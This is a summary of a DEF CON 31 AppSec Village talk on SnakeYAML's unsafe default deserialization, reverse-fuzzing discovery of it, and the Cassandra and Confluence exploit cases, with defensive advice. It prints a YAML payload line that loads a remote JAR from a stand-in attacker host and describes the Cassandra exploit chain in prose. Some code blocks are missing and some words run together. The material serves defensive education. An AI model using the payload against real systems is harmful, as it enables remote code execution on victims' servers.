Discovering Shadow Vulnerabilities in Popular Open-Source Projects: A Reverse-Fuzzing Journey
Gal Elbaz (Co-founder and CTO · Oligo Security), Guy Kaplan (Security Researcher · Oligo Security)
AppSec Village @ DEF CON 31 · Day 2 · AppSec Village
Overview
In an era increasingly reliant on open-source software, the talk "Discovering Shadow Vulnerabilities in Popular Open-Source Projects: A Reverse-Fuzzing Journey" by Gal Elbaz and Guy Kaplan from Oligo Security unveiled a critical, often overlooked class of security flaws they term "Shadow Vulnerabilities." These are security issues that persist without an assigned Common Vulnerabilities and Exposures (CVE) identifier, rendering them invisible to conventional security tools and practices. The speakers demonstrated how these vulnerabilities arise, particularly in widely used libraries, and detailed a novel methodology called reverse fuzzing to systematically uncover them across the open-source ecosystem.

Key moments
- 2:00 Introducing the concept of Shadow Vulnerabilities
- 6:00 SnakeYAML unsafe deserialization leads to RCE
- 10:30 Reverse fuzzing methodology for discovery
- 14:20 Apache Cassandra vulnerability and flawed fix
- 16:50 Scaling discovery with eBPF and Dockerhub
- 20:30 Google's intervention and CVE dispute
- 25:20 Live demo: Apache Cassandra RCE exploitation
- 29:40 Q&A: Strategies for discovering more Shadow Vulnerabilities
Discovering Shadow Vulnerabilities in Popular Open-Source Projects: A Reverse-Fuzzing Journey
Speakers: Gal Elbaz (Co-founder and CTO, Oligo Security); Guy Kaplan (Security Researcher, Oligo Security)
Conference: AppSec Village @ DEF CON 31
YouTube: https://www.youtube.com/watch?v=tQEkqgOMA8Q
Overview
In an era increasingly reliant on open-source software, the talk "Discovering Shadow Vulnerabilities in Popular Open-Source Projects: A Reverse-Fuzzing Journey" by Gal Elbaz and Guy Kaplan from Oligo Security unveiled a critical, often overlooked class of security flaws they term "Shadow Vulnerabilities." These are security issues that persist without an assigned Common Vulnerabilities and Exposures (CVE) identifier, rendering them invisible to conventional security tools and practices. The speakers demonstrated how these vulnerabilities arise, particularly in widely used libraries, and detailed a novel methodology called reverse fuzzing to systematically uncover them across the open-source ecosystem.
The core of the presentation centered on a deep dive into snakeyaml, a ubiquitous Java YAML parser, revealing how its "insecure by design" defaults create a pervasive risk of remote code execution (RCE). Despite repeated reports to maintainers, who often dismiss these issues as "intended behavior" or user misuse, the inherent danger of such defaults means countless projects unknowingly integrate exploitable components. This talk highlighted the profound implications for application security, challenging the industry's reliance on CVEs as the sole metric for risk and advocating for a broader, community-driven approach to securing the foundational components of modern software.
This research not only exposed significant vulnerabilities in high-profile projects like Apache Cassandra and Confluence but also sparked a wider debate about responsibility in the open-source supply chain. By meticulously detailing the technical underpinnings of these shadow vulnerabilities and the innovative techniques used to find them, Elbaz and Kaplan provided a compelling case for a paradigm shift in how developers, maintainers, and security professionals identify, remediate, and ultimately prevent these hidden threats from undermining the security posture of global software infrastructure.
Background
▶ Watch: Introducing the concept of Shadow Vulnerabilities (2:00)
The concept of Shadow Vulnerabilities draws an apt analogy from "shadow IT" – the unmonitored and unmanaged IT infrastructure within an organization. Just as shadow IT poses unknown risks, shadow vulnerabilities represent security flaws that remain unclassified, unpatched, and largely unknown to the broader security community because they lack a formal CVE identifier. This absence is often due to several factors: maintainer disputes over whether an issue constitutes a "real" vulnerability, prolonged classification processes, or the maintainer's stance that the behavior is "intended" and responsibility lies with the user to implement it securely. The critical problem is that most security tools and processes are built around CVEs, leaving organizations blind to these pervasive, yet invisible, threats.
The speakers illustrated this concept using snakeyaml, the most popular YAML parser in the Java ecosystem. Ranked as the number one YAML parser on the Maven repository, snakeyaml is a direct dependency for over 4,000 other open-source packages, making its security posture incredibly impactful. YAML, a human-readable data serialization standard, is widely used for configuration files and data exchange, similar to JSON but with an emphasis on readability.
The crux of the snakeyaml shadow vulnerability lies in its default deserialization behavior. A common development practice involves developers quickly searching for and copying code snippets to parse YAML files, often leading them to use the default Yaml constructor without further investigation. This default constructor, however, is inherently unsafe. While snakeyaml provides a SafeConstructor designed to parse only primitive Java types (like strings, integers, booleans), the default Constructor allows the deserialization of arbitrary Java objects. This means that if an attacker can control the YAML input, they can specify any Java class to be instantiated, including dangerous ones like java.net.URLClassLoader.
Compounding this issue is a misleading inheritance pattern: the default Constructor actually inherits from SafeConstructor. This design choice, as highlighted by the speakers, creates a false sense of safety for developers, who might assume they are using a "safe" variant when, in fact, the Constructor overrides the critical safety mechanisms of its parent, enabling potentially malicious object creation and execution. This "insecure by design" default, coupled with common developer habits and maintainer dismissal, forms the perfect storm for a shadow vulnerability to thrive across thousands of projects.
Key Findings
▶ Watch: Reverse fuzzing methodology for discovery (10:30)
The central discovery of this research is the widespread existence and exploitability of Shadow Vulnerabilities, particularly exemplified by the default, unsafe behavior of the snakeyaml Java parser. The speakers conclusively demonstrated that snakeyaml's default Constructor can be leveraged for Remote Code Execution (RCE) by parsing specially crafted YAML input. This input, such as !!java.net.URLClassLoader ["http://attacker.com/malicious.jar"], instructs snakeyaml to instantiate a URLClassLoader and load a Java class from a remote, attacker-controlled server, effectively leading to code execution on the victim's machine.
A critical finding was the consistent stance of the snakeyaml maintainer, who, despite multiple reports, deemed this behavior "intended" and not a vulnerability. The maintainer asserted that users who desire safety should explicitly use the SafeConstructor. This position, however, directly clashes with real-world development practices where developers often prioritize functionality and rapid deployment, frequently adopting default configurations without a deep dive into security implications, especially when no immediate alerts or CVEs signal danger. This disconnect underscores the "shadow" nature of the vulnerability, as it remained unclassified and untracked by conventional security measures.
To quantify the prevalence of this shadow vulnerability, the team introduced reverse fuzzing. Unlike traditional fuzzing, which throws many inputs at one target, reverse fuzzing takes one vulnerable code pattern (e.g., the unsafe snakeyaml instantiation) and applies it across a multitude of targets to find widespread insecure usage. This methodology, initially leveraging GitHub code search and later refined with CodeQL and eBPF for runtime analysis, revealed that the maintainer's claim—that "100% of applications who use snakeyaml only use it to don't use it to parse untrusted input"—was demonstrably false.
The research uncovered numerous high-profile projects vulnerable to this snakeyaml flaw. Notable examples include:
- Apache Cassandra: A critical database system, where the
cassandra.yamlconfiguration file could be manipulated. Chaining thesnakeyamlflaw with another arbitrary file modification vulnerability (CVE-2023-37920, a command injection flaw allowing arbitrary file writes) led to persistent RCE and local privilege escalation as the Cassandra user. Intriguingly, even after reporting, Apache Cassandra's attempt to fix thesnakeyamlissue fell into the same "false sense of safety" trap, using a variant of theConstructorthat still allowed deserialization, leaving the core shadow vulnerability unaddressed and suppressed. - Confluence Server: An enterprise collaboration platform, where a dependency (
liquidbase) used an HTTP client to receive YAML from an API, which was then unsafely parsed bysnakeyaml. This resulted in an RCE, which was eventually fixed in a regular update but not classified as a security vulnerability. - Other undisclosed projects: The team reported finding a "gold mine" of other vulnerable applications, including an "no-oath RCE" (remote code execution without authentication), which were under responsible disclosure at the time of the talk.
A significant development during the research was Google's intervention. Google's OSS-Fuzz project, which continuously fuzzes popular open-source projects, independently identified the snakeyaml deserialization issue. Following a dispute with the snakeyaml maintainer, who initially marked the issue as "wontfix," Google, acting as a CVE Numbering Authority (CNA), issued CVE-2022-1471 for the vulnerability. This forced the maintainer to release snakeyaml 2.0, which introduced breaking changes by restricting deserialization to primitive types only. However, this "fix" is incomplete, as many applications require more complex deserialization and thus must continue using older, vulnerable versions or implement custom, potentially insecure, constructors. The maintainer even added a note to the official documentation stating, "If you are here because of a CVE, it's probably a false positive," further perpetuating the shadow vulnerability problem.
Technical Deep Dive
▶ Watch: Scaling discovery with eBPF and Dockerhub (16:50)
The technical core of the snakeyaml shadow vulnerability revolves around its object deserialization capabilities. When a Java developer initializes new Yaml().load(yamlString), the load method, by default, uses the org.yaml.snakeyaml.constructor.Constructor class. This Constructor is designed to be highly flexible, capable of instantiating arbitrary Java objects specified within the YAML input.
A malicious YAML payload exploits this by leveraging the !! tag, which explicitly instructs snakeyaml to instantiate a specific Java class. For instance, the payload:
When processed by the default Constructor, snakeyaml attempts to:
- Identify the class
java.net.URLClassLoader. - Instantiate this class.
- Pass the provided argument (a list containing
"http://attacker.com/malicious.jar") to its constructor.
The URLClassLoader class in Java is specifically designed to load classes and resources from URLs. By constructing it with a malicious JAR file hosted on an attacker-controlled server, the URLClassLoader will fetch and load the attacker's code into the application's memory space, effectively achieving Remote Code Execution (RCE). Once loaded, the malicious code can then execute, potentially compromising the entire application or the underlying system.
The "insecure by design" aspect is critical: while snakeyaml offers a org.yaml.snakeyaml.constructor.SafeConstructor that strictly limits deserialization to primitive types (strings, integers, booleans, etc.), the default Constructor does not enforce these restrictions. Developers who are unaware of this distinction, or who simply copy-paste common code snippets, inadvertently expose their applications to this risk. The situation is worsened by the fact that Constructor inherits from SafeConstructor, leading to a false sense of security for developers who might assume they are using a "safe" mechanism.
To identify widespread usage of this vulnerability, the speakers developed a multi-stage reverse fuzzing methodology:
- GitHub Code Search (Initial Reconnaissance): The initial step involved searching GitHub for common
snakeyamlinstantiation patterns, such asnew Yaml(). This yielded a massive number of results, many of which were false positives (e.g., projects usingsnakeyamlto create YAML files, or projects correctly usingSafeConstructor). This phase was also hampered by API rate limits, requiring custom scripts and extended runtime.
- CodeQL Filtering (Static Analysis Refinement): To reduce false positives and pinpoint vulnerable patterns, CodeQL was employed. CodeQL is a powerful semantic code analysis engine that allows security researchers to query codebases like databases. Custom CodeQL queries were written to specifically identify instances where
snakeyaml'sYamlobject was instantiated without aSafeConstructorand subsequently used toloadorparseuntrusted input. This helped narrow down the target list significantly, focusing on projects with the actual vulnerable code flow.
- Runtime Analysis with eBPF (Dynamic & Scalable Detection): Recognizing the limitations of static analysis (e.g., not all targets are open source, CodeQL requires a codebase database for each project) and the need to differentiate between configuration-only usage versus runtime parsing, the team moved to dynamic analysis at scale. This involved monitoring Docker Hub images and tracing their runtime behavior using eBPF (extended Berkeley Packet Filter) technology.
- eBPF allows for efficient, low-overhead observation of system calls and kernel events, including function calls within user-space applications.
- By deploying eBPF probes, the researchers could monitor calls to
snakeyaml's parsing functions (e.g.,Yaml.load()) within running Docker containers. - This enabled them to distinguish between projects that only parse YAML once at startup (typical for configuration files) and those that continuously parse YAML during runtime (suggesting they might be processing external, potentially untrusted input). Projects showing continuous parsing peaks were flagged as higher-priority targets for further investigation, as they were more likely to handle attacker-controlled data. Oligo Security's platform, which leverages eBPF for open-source library observation, facilitated this at scale.
This sophisticated combination of static and dynamic analysis allowed the researchers to move beyond theoretical vulnerability to practical, widespread impact, identifying concrete instances of the shadow vulnerability in critical open-source projects.
Demo / Proof of Concept
▶ Watch: Google's intervention and CVE dispute (20:30)
The talk featured a compelling proof of concept demonstrating the practical exploitability of the snakeyaml shadow vulnerability, specifically targeting Apache Cassandra. The speakers explained that achieving RCE on Cassandra required chaining two distinct vulnerabilities:
- Arbitrary File Modification: An existing, separate vulnerability in Apache Cassandra (later identified as CVE-2023-37920) allowed an attacker to write arbitrary files to the Cassandra server. This vulnerability, described as a command injection flaw, provided the necessary primitive to manipulate server-side files.
- Snakeyaml Shadow Vulnerability (Local Privilege Escalation): The core
snakeyamlshadow vulnerability was then leveraged against thecassandra.yamlconfiguration file. The research found that on default Cassandra container images and installations, thecassandra.yamlfile often had writable permissions for any user on the running host.
The exploitation scenario unfolded as follows:
- An attacker first exploited the arbitrary file modification vulnerability to gain the ability to write to the
cassandra.yamlfile. - The attacker then injected a malicious
URLClassLoaderpayload intocassandra.yaml. This payload instructedsnakeyamlto load and execute a malicious Java JAR file from an attacker-controlled server. - Upon the next restart of the Apache Cassandra server, the modified
cassandra.yamlfile was parsed. ThesnakeyamldefaultConstructorprocessed the maliciousURLClassLoaderentry, causing the Cassandra process to connect to the attacker's server, download the malicious JAR, and execute its code.
The demo video visually depicted two terminals: one showing the Apache Cassandra server logging, and the other representing the attacker's machine. After the server was reset (simulating a restart or crash that would trigger the configuration reload), the attacker's terminal received a connection, confirming that the malicious payload had been loaded and executed. The shell gained was running with the privileges of the Cassandra user, effectively achieving persistent Remote Code Execution (RCE) and local privilege escalation on the machine hosting Apache Cassandra.
Beyond Cassandra, the speakers also highlighted another significant finding in Confluence Server. In this case, Confluence utilized the liquidbase open-source library, which contained an HTTP client. This client communicated with an API that returned YAML data, which was then directly passed to an unsafe snakeyaml parser (using the default Constructor without SafeConstructor). This created a straightforward RCE pathway, where an attacker could control the YAML returned by the API to execute arbitrary code on the Confluence server. This issue was eventually fixed in a regular Confluence Server update but was not classified as a security update or assigned a CVE, further underscoring the "shadow" nature of such vulnerabilities.
The researchers also mentioned discovering a "gold mine" of other vulnerable projects, including an "no-oath RCE" (RCE without any authentication required), which were under responsible disclosure at the time of the talk, emphasizing the widespread impact of this single shadow vulnerability pattern.
Defensive Implications
▶ Watch: Q&A: Strategies for discovering more Shadow Vulnerabilities (29:40)
The discovery and detailed exposition of shadow vulnerabilities carry profound implications for cybersecurity defenses, urging a shift beyond traditional CVE-centric security practices. Defenders must internalize several key lessons:
- Beyond CVEs: Understand "Insecure by Design" Defaults: Relying solely on CVE scanners and vulnerability databases leaves organizations dangerously exposed to shadow vulnerabilities. Many libraries, like
snakeyaml, are "insecure by design" in their default configurations, meaning they function as intended but open doors to exploitation if not explicitly secured. Defenders must proactively identify and audit default configurations of critical dependencies, especially those involving deserialization, parsing, or external input processing. - Deep Dive into Dependency Documentation: Developers and security teams must move beyond quick-start guides and thoroughly review the security sections of library documentation. Pay close attention to warnings about "intended behavior," configuration options for "safe" modes (e.g.,
SafeConstructor), and disclaimers about handling untrusted input. Thesnakeyamlmaintainer's note about CVEs being "false positives" is a prime example of documentation that can mislead security assessments. - Always Opt-In to Secure Configurations: For libraries with known dangerous defaults, always explicitly choose the secure configuration. For
snakeyaml, this means consistently usingnew Yaml(new SafeConstructor())when parsing untrusted or potentially untrusted YAML. Never assume that a default or inherited constructor is safe, particularly when dealing with data deserialization. - Implement Robust Input Validation and Sanitization: The fundamental principle of "never trust user input" remains paramount. Even with safe constructors, applications should rigorously validate and sanitize all external input before parsing. This acts as a crucial layer of defense, mitigating risks even if an underlying library misconfiguration exists.
- Leverage Runtime Observability for Deeper Insights: Static analysis tools like CodeQL are powerful, but they have limitations, especially with closed-source components or complex runtime behaviors. Adopting runtime observability tools, particularly those leveraging eBPF, can provide invaluable insights into how libraries are actually being used in production. Monitoring function calls (e.g.,
Yaml.load()) can help identify applications that are parsing YAML dynamically and frequently, indicating potential exposure to external input, as demonstrated in the talk. - Recognize Incomplete Fixes and Suppression: Even when a CVE is issued and a fix is released (like
snakeyaml 2.0), the problem may not be fully resolved. Downstream projects might suppress the CVE or find workarounds that reintroduce risk, especially if the "fix" involves breaking changes. Defenders must verify that patches are comprehensively applied and that the underlying insecure patterns are truly remediated across their entire software supply chain. The Apache Cassandra example, where the fix still allowed the underlying vulnerability, is a stark reminder. - Embrace Community Responsibility for Open-Source Security: The ethical question posed by the speakers – who owns the responsibility for these vulnerabilities (library maintainer, project maintainer, or end-user)? – highlights that it is a shared burden. The security community as a whole must contribute to identifying, documenting, and advocating for the remediation of shadow vulnerabilities. This includes reporting issues responsibly, educating developers, and building tools that go beyond CVE scanning.
By adopting these defensive strategies, organizations can move towards a more proactive and comprehensive security posture, reducing their blind spots to the pervasive, yet often invisible, threats posed by shadow vulnerabilities in the open-source ecosystem.
Key Takeaways
- Shadow Vulnerabilities are a Critical Blind Spot: Many significant security flaws, particularly in widely used open-source libraries, lack CVEs, making them invisible to standard security tools and processes. These "insecure by design" defaults or maintainer disputes create a dangerous gap in security coverage.
- Snakeyaml's Default Behavior is Insecure by Design: The default
Constructorinsnakeyamlallows arbitrary Java object deserialization, leading directly to Remote Code Execution (RCE) viaURLClassLoaderif untrusted input is parsed. The misleading inheritance fromSafeConstructorgives developers a false sense of security. - Reverse Fuzzing and Runtime Analysis are Essential: Traditional fuzzing is insufficient for finding widespread insecure usage. The novel reverse fuzzing approach, combined with advanced techniques like CodeQL for static analysis and eBPF for scalable runtime monitoring, is highly effective in uncovering these shadow vulnerabilities across large numbers of projects.
- CVE-2022-1471 Didn't Fully Solve the Problem: Despite Google's intervention and the issuance of a CVE, leading to
snakeyaml 2.0, many projects remain vulnerable. The "fix" introduced breaking changes, forcing some applications to continue using older, vulnerable versions or implement custom, potentially insecure, deserialization to maintain functionality. Widespread suppression and incomplete remediation persist. - Defenders Must Go Beyond CVE-Centric Security: Organizations cannot solely rely on CVE databases. A deeper understanding of dependency behavior, meticulous review of documentation, explicit use of safe configurations, and robust input validation are critical. Runtime observability tools provide invaluable insights into actual library usage in production.
- Open-Source Security is a Shared Community Responsibility: The prevalence and impact of shadow vulnerabilities underscore that securing the open-source supply chain is a collective effort. It requires collaboration among library maintainers, project developers, security researchers, and end-users to identify, report, and remediate these hidden threats.
About the Speaker(s)
Gal Elbaz is the Co-founder and CTO of Oligo Security. With a background in the Israeli Defense Forces (IDF) technological units, he has spent over eight years hacking and breaking software, notably during his time at Checkpoint Research. He identifies himself as "super famous for being handsome."
Guy Kaplan is a talented researcher at Oligo Security, working with the Oligo research team. Like Gal, he is an alumnus of the IDF technological units, where he spent his career breaking and building software. He is known for being an excellent scuba instructor, a hobby that metaphorically extends to his work as he enjoys "deep-diving into coral reefs and into complex bugs and code."
Reviews
Dr. Zero (Offensive Security Researcher) — SOLID
They took a widely documented Java footgun in snakeyaml, scanned the ecosystem to find who was misusing it, and tried to rebrand variant analysis as 'reverse-fuzzing.' The legwork to pop Cassandra and Confluence is genuinely good, but you have to wade through a lot of vendor marketing to get to the actual engineering.
Heather Calloway (CISO) — STRONG ACCEPT
This talk exposes a fundamental flaw in how we measure open-source supply chain risk: catastrophic vulnerabilities often lack CVEs due to maintainer disputes. It is required reading for any leadership team relying on standard Software Composition Analysis (SCA) tooling to sign off on production releases. We are building compliance programs on a foundation of disputed facts.